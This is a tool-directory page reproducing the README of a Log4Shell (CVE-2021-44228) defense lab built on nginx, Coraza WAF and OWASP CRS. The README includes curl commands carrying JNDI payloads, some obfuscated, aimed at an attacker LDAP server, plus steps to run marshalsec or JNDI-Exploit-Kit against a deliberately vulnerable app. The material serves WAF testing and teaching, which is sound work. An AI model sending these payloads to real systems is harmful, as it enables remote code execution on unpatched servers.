Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
log4shell-coraza — Log4Shell (CVE-2021-44228) defense lab — nginx + Coraza WAF dynamic module + OWASP CRS v4. Educational use only. | Kitploit
Tools/GitHubGitHub/tieupham267/log4shell-coraza
Defensive ToolsVulnerability ScannersExploitationIDS/IPS EvasionWAF BypassWeb SecurityPenetration TestingIntrusion DetectionLearning & EducationLog AnalysisLabs & Practice
265 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
GitHub
tieupham267/log4shell-coraza

log4shell-coraza

Log4Shell (CVE-2021-44228) defense lab — nginx + Coraza WAF dynamic module + OWASP CRS v4. Educational use only.

View Repository
Share

Log4Shell Security Lab — nginx + Coraza WAF

Educational / defensive purpose: this lab contains a deliberately vulnerable app (Log4j 2.14.1) and a JNDI exploit kit, ONLY for learning how to detect and block Log4Shell in an isolated environment. Do not deploy to the Internet, do not use to attack systems that do not belong to you.

Hands-on lab for defending against Log4Shell (CVE-2021-44228) using nginx integrated with Coraza WAF (dynamic module) + OWASP CRS v4 + custom JNDI rules. Includes a vulnerable Spring Boot target container, an attacker-box Kali, and Suricata + Wazuh for monitoring.


1. Architecture

Host (Windows / Docker Desktop)
│
├── dmz-net (172.20.0.0/24, external-facing)
│   ├── nginx-proxy              ← entrypoint :80/:443, has Coraza module + CRS v4
│   ├── attacker-box             ← Kali + JNDI exploit kits
│   └── suricata-ids             ← sniff dmz traffic
│
└── backend-net (172.22.0.0/24, internal: true)
    ├── nginx-proxy              ← second NIC
    ├── log4shell-app            ← Spring Boot Log4j 2.14.1
    ├── wazuh-manager            ← SIEM
    └── wazuh-dashboard          ← UI

Request flow: client → nginx (Coraza inspect) → log4shell-app. WAF runs inside nginx (via module ngx_http_coraza_module.so), not a separate container.


2. Requirements

ItemMinimum version
Docker Desktop / Engine24+ with Compose v2
Free RAM4 GB (Wazuh consumes ~1.5 GB)
Free disk6 GB (image build artifacts)
First build time10–15 minutes (libcoraza + nginx module + Maven attacker tools)

3. Bootstrap — first run

Step 3.1 — Build images

cd /path/to/log4shell-nginx-coraza
docker compose build

The slowest stage is nginx (build libcoraza v1.4.0 with Go 1.25, then compile coraza-nginx module). Cached after the first time.

Step 3.2 — Start stack

docker compose up -d
docker compose ps

After ~30s, expected status:

ServiceSTATUS
nginx-proxyUp (healthy)
victim-appUp
kali-attackerUp
wazuh-siem, wazuh-webUp
suricata-idsmay be Restarting (see item 8 — does not block lab)

Step 3.3 — Smoke test

# nginx liveness
curl http://localhost/health
# → "nginx proxy healthy"

# through WAF to app (real endpoint of log4shell-vulnerable-app)
curl -H 'X-Api-Version: 1.0' http://localhost/
# → "Hello, world!"

curl http://localhost/ without X-Api-Version header will return 400 — that is Spring Boot whitelabel error (no handler), not WAF blocking.


4. Test WAF blocking Log4Shell

Step 4.1 — Basic payloads

# JNDI in User-Agent → rule 1910010 fires, 403
curl -i -H 'User-Agent: ${jndi:ldap://attacker:1389/x}' http://localhost/

# JNDI in app log header: X-Api-Version → rule 1910001 (header+arg) fires, 403
curl -i -H 'X-Api-Version: ${jndi:ldap://attacker:1389/Exploit}' http://localhost/

# JNDI in query string → CRS phase 1 blocks
curl -i 'http://localhost/?x=${jndi:ldap://attacker/x}'

Expected: HTTP/1.1 403 Forbidden, body <html>... 403 Forbidden ... nginx ...</html>.

Step 4.2 — Obfuscated payloads

# Lower trick (rule 1910004 / 1910008)
curl -i -H 'User-Agent: ${${lower:j}ndi:ldap://attacker:1389/x}' http://localhost/

# Colon-dash-dash (rule 1910008)
curl -i -H 'User-Agent: ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker:1389/x}' http://localhost/

Step 4.3 — JSON body payload

curl -i -X POST -H 'Content-Type: application/json' \
  -d '{"msg":"${jndi:ldap://attacker:1389/x}"}' \
  http://localhost/api/log
# → 403 (rule 1910026: Content-Type=json + body contains jndi)

5. Inspect WAF logs

Coraza audit log (JSON)

docker exec nginx-proxy sh -c 'tail -f /var/log/coraza/audit.log' | python -c "
import json,sys
for ln in sys.stdin:
    try:
        d=json.loads(ln)
        t=d['transaction']
        ua=t['request']['headers'].get('user-agent',['?'])[0][:60]
        st=t['response']['status']
        for m in t.get('messages') or []:
            print(f'{st}  {ua}  ::  {m[\"error_message\"][:160]}')
    except: pass
"

Each event is JSON Lines, with:

  • transaction.is_interrupted: true → WAF blocked
  • messages[].error_message → which rule fired, file & line, severity

nginx access log

docker exec nginx-proxy tail -f /var/log/nginx/access.log

Filter blocks:

docker exec nginx-proxy sh -c 'grep " 403 " /var/log/nginx/access.log | tail'

Mounted paths on host

./logs/nginx/      ← access.log, error.log
./logs/coraza/     ← audit.log (JSON), debug.log

6. Real exploit chain — attacker-box → log4shell-app

By default backend-net is set to internal: true and attacker-box is only on dmz-net, so log4shell-app is NOT reachable from attacker-box. To make the JNDI chain work end-to-end, do step 6.0 first.

Step 6.0 — Allow log4shell-app to reach attacker-box

Edit docker-compose.yml, add attacker-box to backend-net:

  attacker-box:
    networks:
      - dmz-net
      - backend-net    # <— add

Or move log4shell-app to dmz-net (simpler but reduces segmentation educational value):

  log4shell-app:
    networks:
      - backend-net
      - dmz-net        # <— add

Apply: docker compose up -d (Compose recreates that container only).

Step 6.1 — Start JNDI exploit server inside attacker-box

docker exec -it kali-attacker bash
cd /opt/exploits

# Option A: marshalsec — simple, only relays LDAP→HTTP
./scripts/start-ldap-server.sh marshalsec '' 172.20.0.2

# Option B: JNDI-Exploit-Kit — full toolkit, payload "touch /tmp/pwned"
./scripts/start-ldap-server.sh jndi-kit

Server listens on LDAP :1389 and HTTP :8888 (already exposed to host in compose).

Step 6.2 — Bypass test: call app directly (not through WAF) to confirm vuln

# From attacker-box, call log4shell-app directly on backend-net
docker exec kali-attacker curl -s -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://victim-app:8080/

Check:

# Pwned marker created inside app container
docker exec victim-app ls -la /tmp/pwned

If file exists → exploit chain OK, app is still vulnerable, WAF is NOT bypassed when going through the main path.

Step 6.3 — Verify WAF blocks the same payload via the main path

# Through nginx (public main path)
curl -i -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://localhost/
# → 403 Forbidden, NO new /tmp/pwned

7. Tweak rules (no rebuild needed)

File ./coraza/config/log4shell-rules.conf is mounted :ro into nginx at /etc/nginx/coraza/log4shell-rules.conf. After editing:

docker exec nginx-proxy nginx -t      # syntax check
docker exec nginx-proxy nginx -s reload

If Coraza reports a parsing error (failed to compile the directive...), workers will exit and nginx -s reload cannot respawn them. Then:

docker compose restart nginx
docker exec nginx-proxy tail -20 /var/log/nginx/error.log

Layout of rules loaded into WAF

Include order (in nginx/coraza/main.conf, baked into image):

  1. Engine config: SecRuleEngine On, audit log, debug log
  2. crs-setup.conf — initialize tx.*_anomaly_score, thresholds
  3. owasp-crs/rules/*.conf — full CRS v4.7.0
  4. log4shell-rules.conf — custom rules (mounted from host)

Custom rule ID range: 1910001 – 1910999 (avoids CRS range 900000–999999).

Coraza syntax limitations vs ModSecurity

Download Tool